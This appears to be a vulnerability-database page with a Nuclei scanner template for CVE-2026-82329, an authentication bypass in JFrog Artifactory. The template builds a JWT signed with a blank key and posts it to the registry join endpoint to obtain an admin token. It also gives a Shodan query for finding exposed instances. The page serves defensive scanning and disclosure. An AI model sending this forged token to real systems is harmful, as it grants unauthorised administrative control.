/Vulnerability Library

JFrog Artifactory Access Blank Join Key Authentication Bypass

CVE-2026-82329
Early Release

Description

JFrog Artifactory contains an authentication weakness that, under default configuration, may allow an unauthenticated attacker with network access to obtain administrative privileges.

Severity

Critical

CVSS Score

9.8

Exploit Probability

1%

Published Date

September 1, 2026

Template Author

johnk3r, pruva

CVE-2026-82329.yaml
id: CVE-2026-82329

info:
  name: JFrog Artifactory Access Blank Join Key Authentication Bypass
  author: johnk3r,pruva
  severity: critical
  description: |
    JFrog Artifactory contains an authentication weakness that, under default configuration, may allow an unauthenticated attacker with network access to obtain administrative privileges.
  impact: |
    Unauthenticated attackers can gain administrative privileges, leading to full system control.
  remediation: |
    Update to the latest version and ensure secure configuration.
  reference:
    - https://jfrog.com/help/r/jfrog-release-information/artifactory-security-fixes
    - https://www.pruva.dev/reproductions/REPRO-2026-00341
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-82329
    epss-score: 0.01242
    epss-percentile: 0.67157
    cwe-id: CWE-287
  metadata:
    verified: true
    max-request: 1
    shodan-query: title:"JFrog"
  tags: cve,cve2026,jfrog,auth-bypass,vkev,kev

variables:
  service_id: "jfrt@cve202682329nuclei{{rand_text_alpha(10)}}"
  node_id: "cve202682329node{{rand_text_alpha(10)}}"
  jwt_claims: '{"service_id":"{{service_id}}","node_id":"{{node_id}}","skip_node_registration":true,"iat":{{unix_time()}}000}'
  forged_jwt: '{{generate_jwt(jwt_claims,"HS256","                                ")}}'

http:
  - raw:
      - |
        POST /access/api/v1/registry/join HTTP/1.1
        Host: {{Hostname}}
        Content-Type: text/plain
        User-Agent: JFrogArtifactory/7.146.25
        Accept: */*
        Connection: close

        {{forged_jwt}}

    redirects: false
    max-redirects: 0

    matchers-condition: and

    matchers:
      - type: status
        status:
          - 201

      - type: word
        part: body
        words:
          - '"token"'
# digest: 4a0a0047304502203bb4d9588076ba0b603239457d47a8e77b1a7c6e7a0723b53fb97b5e952685e1022100caa055463c28407c7020ea8c0e9eac033cc60b4541fdac60db55c9a86002a59a:922c64590222798bb761d5b6d8e72950
9.8Score

CVSS Metrics

CVSS Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CVE ID:
cve-2026-82329
CWE ID:
cwe-287

References

https://jfrog.com/help/r/jfrog-release-information/artifactory-security-fixeshttps://www.pruva.dev/reproductions/REPRO-2026-00341

Remediation Steps

Update to the latest version and ensure secure configuration.